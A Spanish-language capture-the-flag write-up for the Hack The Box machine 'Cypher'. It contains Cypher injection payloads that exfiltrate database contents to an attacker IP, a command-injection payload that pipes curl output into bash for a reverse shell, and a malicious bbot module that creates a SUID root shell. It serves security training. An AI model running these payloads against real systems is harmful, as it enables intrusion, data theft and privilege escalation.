Cypher expone un sitio vulnerable a Cypher Injection y tambien un archivo JAR en el cual descubrimos un procedure con la vulnerabilidad Command Injection la cual nos permitio el acceso a un primer usuario. Credenciales en el historial de bash nos permitieron acceso a un segundo usuario. Finalmente logramos la lectura de archivos y ejecucion de comandos como root con el comando bbot.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.94SVN scan initiated Sat Mar 1 18:33:01 2025 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.57Nmap scan report for 10.10.11.57
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)80/tcp open http nginx 1.24.0 (Ubuntu)|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 1 18:33:10 2025 -- 1 IP address (1 host up) scanned in 8.70 seconds
Web Site
El sitio web nos redirige al dominio cypher.htb el cual agregamos al archivo /etc/hosts.
❯ feroxbuster -u http://cypher.htb/ -w $CM ___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cypher.htb/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 179l 477w 4986c http://cypher.htb/about
307 GET 0l 0w 0c http://cypher.htb/demo => http://cypher.htb/login
200 GET 126l 274w 3671c http://cypher.htb/login
200 GET 3l 113w 8123c http://cypher.htb/bootstrap-notify.min.js
200 GET 63l 139w 1548c http://cypher.htb/utils.js
200 GET 7l 1223w 80496c http://cypher.htb/bootstrap.bundle.min.js
200 GET 12l 2173w 195855c http://cypher.htb/bootstrap.min.css
200 GET 7333l 24018w 208204c http://cypher.htb/vivagraph.min.js
200 GET 876l 4886w 373109c http://cypher.htb/logo.png
307 GET 0l 0w 0c http://cypher.htb/api => http://cypher.htb/api/docs
404 GET 1l 2w 22c http://cypher.htb/apis
200 GET 2l 1293w 89664c http://cypher.htb/jquery-3.6.1.min.js
200 GET 162l 360w 4562c http://cypher.htb/
200 GET 5632l 33572w 2776750c http://cypher.htb/us.png
404 GET 1l 2w 22c http://cypher.htb/demo2
404 GET 1l 2w 22c http://cypher.htb/demos
200 GET 162l 360w 4562c http://cypher.htb/index
200 GET 162l 360w 4562c http://cypher.htb/index.html
307 GET 0l 0w 0c http://cypher.htb/api/ => http://cypher.htb/api/api
405 GET 1l 3w 31c http://cypher.htb/api/auth
301 GET 7l 12w 178c http://cypher.htb/testing => http://cypher.htb/testing/
200 GET 17l 139w 9977c http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
❯
Custom Procedures - Cypher
En testing/ encontramos unicamente el archivo custom-apoc-extension-1.0-SNAPSHOT.jar.
1
2
3
4
5
6
7
8
❯ curl -s http://cypher.htb/testing/ | html2text
****** Index of /testing/ ******
===============================================================================../
custom-apoc-extension-1.0-SNAPSHOT.jar 17-Feb-2025 11:49
6556===============================================================================❯
Descargamos el archivo y lo abrimos en jadx-gui. El codigo define dos procedures para Cypher, en el primero encontramos que, al pasarle un nombre, este devuelve un saludo.
packagecom.cypher.neo4j.apoc;importjava.util.stream.Stream;importorg.neo4j.procedure.Description;importorg.neo4j.procedure.Mode;importorg.neo4j.procedure.Name;importorg.neo4j.procedure.Procedure;publicclassHelloWorldProcedure{@Procedure(name="custom.helloWorld",mode=Mode.READ)@Description("A simple hello world procedure")publicStream<HelloWorldOutput>helloWorld(@Name("name")Stringname){Stringgreeting="Hello, "+name+"!";returnStream.of(newHelloWorldOutput(greeting));}publicstaticclassHelloWorldOutput{publicStringgreeting;publicHelloWorldOutput(Stringgreeting){this.greeting=greeting;}}}
El segundo muestra que, construye un comando con curl utilizando el valor de una URL que se le pasa como argumento, devuelve el codigo de respuesta HTTP. En este procedure observamos una vulnerabilidad de Command Injection, ya que la url no tiene ningun tipo de “filtro”, por lo que seria posible inyectar comandos para su ejecucion.
packagecom.cypher.neo4j.apoc;importjava.io.BufferedReader;importjava.io.InputStreamReader;importjava.util.Arrays;importjava.util.concurrent.TimeUnit;importjava.util.stream.Stream;importorg.neo4j.procedure.Description;importorg.neo4j.procedure.Mode;importorg.neo4j.procedure.Name;importorg.neo4j.procedure.Procedure;publicclassCustomFunctions{@Procedure(name="custom.getUrlStatusCode",mode=Mode.READ)@Description("Returns the HTTP status code for the given URL as a string")publicStream<StringOutput>getUrlStatusCode(@Name("url")Stringurl)throwsException{if(!url.toLowerCase().startsWith("http://")&&!url.toLowerCase().startsWith("https://"))url="https://"+url;String[]command={"/bin/sh","-c","curl -s -o /dev/null --connect-timeout 1 -w %{http_code} "+url};System.out.println("Command: "+Arrays.toString((Object[])command));Processprocess=Runtime.getRuntime().exec(command);BufferedReaderinputReader=newBufferedReader(newInputStreamReader(process.getInputStream()));BufferedReadererrorReader=newBufferedReader(newInputStreamReader(process.getErrorStream()));StringBuildererrorOutput=newStringBuilder();Stringline;while((line=errorReader.readLine())!=null)errorOutput.append(line).append("\n");StringstatusCode=inputReader.readLine();System.out.println("Status code: "+statusCode);booleanexited=process.waitFor(10L,TimeUnit.SECONDS);if(!exited){process.destroyForcibly();statusCode="0";System.err.println("Process timed out after 10 seconds");}else{intexitCode=process.exitValue();if(exitCode!=0){statusCode="0";System.err.println("Process exited with code "+exitCode);}}if(errorOutput.length()>0)System.err.println("Error output:\n"+errorOutput.toString());returnStream.of(newStringOutput(statusCode));}publicstaticclassStringOutput{publicStringstatusCode;publicStringOutput(StringstatusCode){this.statusCode=statusCode;}}}
Cypher injection
Al manipular el valor de usuario en el login del sitio este nos muestra un error.
El error muestra que se esta utilizando python por detras, ademas muestra el query para la autenticacion de usuarios por medio de Cypher.
# POST data json# {"username":"admin'","password":"admin"}# ResponseHTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)Date: Sat, 01 Mar 2025 23:46:57 GMT
Content-Length: 3457Connection: keep-alive
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results= run_cypher(cypher) File "/app/app.py", line 63, in run_cypher
return[r.data()for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res= self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError}{message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60(offset: 59))"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash" ^}During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/app/app.py", line 165, in login
creds_valid= verify_creds(username, password) File "/app/app.py", line 151, in verify_creds
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name ='admin'' return h.value as hash: Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin''return h.value as hash"
^}
El query muestra que el valor del usuario del login esta siendo utilizando directamente en el query.
1
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name ='admin'return h.value as hash
Injection
Al igual que en HTB - OnlyForYou realizamos una enumeracion. Ejecutamos un servidor HTTP para obtener los datos, aunque, en algunos casos en el mismo sitio nos devuelve los valores al mostrar el error. Vemos la version de Neo4j 5.24.1.
1
2
3
4
# VERSION# ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.238/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //message: Invalid URL 'http://10.10.14.238/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 46: http://10.10.14.238/?version=5.24.1&name=Neo4j Kernel&edition=community ()}
Encontramos multiples labels, entre los que destacan USER y SHA1, los cuales son utilizados en el query para la auntenticacion.
1
2
3
4
5
6
7
8
9
# LABELS# ' OR 1=1 WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.238/?'+d AS y RETURN 0 as _0//10.10.11.57 - - [01/Mar/2025 19:15:16]"GET /?USER HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:15:16]"GET /?HASH HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:15:16]"GET /?DNS_NAME HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:15:17]"GET /?SHA1 HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:15:17]"GET /?SCAN HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:15:17]"GET /?ORG_STUB HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:15:17]"GET /?IP_ADDRESS HTTP/1.1"200 -
Obtuvimos los valores de los labels, encontramos que existe un unico usuario y su hash.
1
2
3
4
5
6
# KEYS # ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.238/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //# USER10.10.11.57 - - [01/Mar/2025 19:16:14]"GET /?name=graphasm HTTP/1.1"200 -
# SHA110.10.11.57 - - [01/Mar/2025 19:17:12]"GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1"200 -
Encontramos otros valores que se desconoce su uso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# HASH <-- vacio# DNS_NAMEmessage: Invalid input forfunction'toString()': Expected a String, Float, Integer, Boolean, Temporal or Duration, got: StringArray[211.255.9.117, 220.187.22.183, 99.13.13.209, 143.2.172.244, 100.136.140.192, 2603:1010:3:3::5b, 2603:1020:201:10::10f, 2603:1030:20e:3::23c, 2603:1030:b:3::152, 2603:1030:c02:8::14]()# SCAN10.10.11.57 - - [01/Mar/2025 19:17:40]"GET /?parent_uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:17:40]"GET /?scope_distance=0 HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:17:41]"GET /?uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:17:41]"GET /?scan=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:17:41]"GET /?type=SCAN HTTP/1.1"200 -
10.10.11.57 - - [01/Mar/2025 19:17:41]"GET /?web_spider_distance=0 HTTP/1.1"200 -
# ORG_STUBmessage: Invalid input forfunction'toString()': Expected a String, Float, Integer, Boolean, Temporal or Duration, got: StringArray[Scan vehement_hagrid seeded with DNS_NAME: ecorp.com, speculated ORG_STUB: ecorp]()# IP_ADDRESSmessage: Invalid input forfunction'toString()': Expected a String, Float, Integer, Boolean, Temporal or Duration, got: StringArray[Scan vehement_hagrid seeded with DNS_NAME: ecorp.com, A record for ecorp.com contains IP_ADDRESS: 211.255.9.117](Failure when processing file '' on line 17(which is the last row in the file).)10.10.11.57 - - [01/Mar/2025 19:20:09]"GET /?host=211.255.9.117 HTTP/1.1"200 -
Command Injection
Como sabemos, existen dos procedures, intentamos utilizar estos en la inyeccion. Logramos ejecutar el procedure helloWorld() y este retorna un saludo.
1
2
# graphasm' CALL custom.helloWorld(u.name) YIELD greeting UNWIND greeting as g LOAD CSV FROM 'http://10.10.14.238/?g=' + g as l RETURN 0 as _0 //message: Invalid URL 'http://10.10.14.238/?g=Hello, graphasm!': Illegal character in query at index 29: http://10.10.14.238/?g=Hello, graphasm! ()}
En el caso de getUrlStatusCode() este muestra el codigo HTTP de la solicitud a nuestro servidor http.
1
2
3
4
5
6
7
# "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url# Payload# graphasm' CALL custom.getUrlStatusCode('http://10.10.14.238') YIELD statusCode UNWIND statusCode as g LOAD CSV FROM 'http://10.10.14.238/?g=' + g as l RETURN 0 as _0 //# Response10.10.11.57 - - [03/Mar/2025 03:48:04]"GET / HTTP/1.1"200 -
10.10.11.57 - - [03/Mar/2025 03:48:04]"GET /?g=200 HTTP/1.1"200 - # codigo 200
Ademas podemos ejecutar comandos, vemos la ejecucion de whoami, y el usuario es neo4j.
1
2
3
4
5
6
7
# Payload# graphasm' CALL custom.getUrlStatusCode('http://10.10.14.238/$(whoami)') YIELD statusCode UNWIND statusCode as g LOAD CSV FROM 'http://10.10.14.238/?g=' + g as l RETURN 0 as _0 //# Response10.10.11.57 - - [03/Mar/2025 03:49:26] code 404, message File not found
10.10.11.57 - - [03/Mar/2025 03:49:26]"GET /neo4j HTTP/1.1"404 - # output whoami10.10.11.57 - - [03/Mar/2025 03:49:26]"GET /?g=404 HTTP/1.1"200 --
# Payload# graphasm' CALL custom.getUrlStatusCode('`curl 10.10.14.238:8000/10.10.14.238:1338|bash)`') YIELD statusCode UNWIND statusCode as g LOAD CSV FROM 'http://10.10.14.238/?g=' + g as l RETURN 0 as _0 //
En netcat, recibimos una shell como neo4j.
1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.238] from cypher.htb [10.10.11.57]45074/bin/sh: 0: can't access tty; job control turned off
$ whoami;id
neo4j
uid=110(neo4j)gid=111(neo4j)groups=111(neo4j)$ cd$ pwd/var/lib/neo4j
$
User - graphasm
En el directorio de neo4j encontramos una contrasena para neo4j.
❯ ssh graphasm@cypher.htb
The authenticity of host 'cypher.htb (10.10.11.57)' can't be established.
ED25519 key fingerprint is SHA256:u2MemzvhD6xY6z0eZp5B2G3vFuG+dPBlRFrZ66gaXZw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cypher.htb' (ED25519) to the list of known hosts.
graphasm@cypher.htb's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Mar 2 01:13:10 AM UTC 2025 System load: 0.32 Processes: 288 Usage of /: 73.8% of 8.50GB Users logged in: 1 Memory usage: 60% IPv4 address for eth0: 10.10.11.57
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 2 01:13:11 2025 from 10.10.14.238
graphasm@cypher:~$ whoami;id
graphasm
uid=1000(graphasm)gid=1000(graphasm)groups=1000(graphasm)graphasm@cypher:~$ ls
bbot_preset.yml bbot_scans user.txt
graphasm@cypher:~$ cat user.txt
dcf630f09858401686c357e8a559fcae
graphasm@cypher:~$
Privesc
Encontramos que el usuario graphasm puede ejecutar bbot como root.
1
2
3
4
5
6
7
8
9
10
11
12
graphasm@cypher:~$ sudo -l -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
Sudoers entry: /etc/sudoers
RunAsUsers: ALL
Options: !authenticate
Commands:
/usr/local/bin/bbot
graphasm@cypher:~$
Reading Files (target)
Ejecutamos bbot pasandole la flag root.txt como target, ademas especificamos verbosidad. bbot tomaria el archivo como una lista de objetivos y se mostrarian en el output de la ejecucion, logrando obtener su contenido.
bbot utiliza modulos, segun la documentacion es posible escribir y ejecutar modulos propios, especificandolo en un preset. Utilizamos el modulo de ejemplo para realizar una copia de bash y darle privilegios SUID.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# /dev/shm/mod.pyfrom bbot.modules.base import BaseModule
import os
class privesc(BaseModule):
os.system("cp /bin/bash /bin/sc; chmod u+s /bin/sc;")watched_events=["DNS_NAME"]# watch for DNS_NAME eventsproduced_events=["WHOIS"]# we produce WHOIS eventsflags=["passive", "safe"]meta={"description": "Copy bash and gives SUID to it"}options={"api_key": ""}# module config optionsoptions_desc={"api_key": "Key"}per_domain_only= True # only run once per domainbase_url="http://localhost/"# one-time setup - runs at the beginning of the scan async def setup(self):
return None, ""
Creamos un preset especificando la ruta de modulos y el modulo creado.
1
2
3
4
5
6
# preset.ymldescription:Privescmodule_dirs:- /dev/shmmodules:- mod
Ejecutamos bash como shell privilegiada, logrando obtener root y la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
graphasm@cypher:/dev/shm$ ls /bin/sc
/bin/sc
graphasm@cypher:/dev/shm$ /bin/sc -p
sc-5.2# id
uid=1000(graphasm)gid=1000(graphasm)euid=0(root)groups=1000(graphasm)sc-5.2# cd /root
sc-5.2# ls
root.txt
sc-5.2# cat root.txt
8b65fc179421f39a2d9da8969c57ddaf
sc-5.2#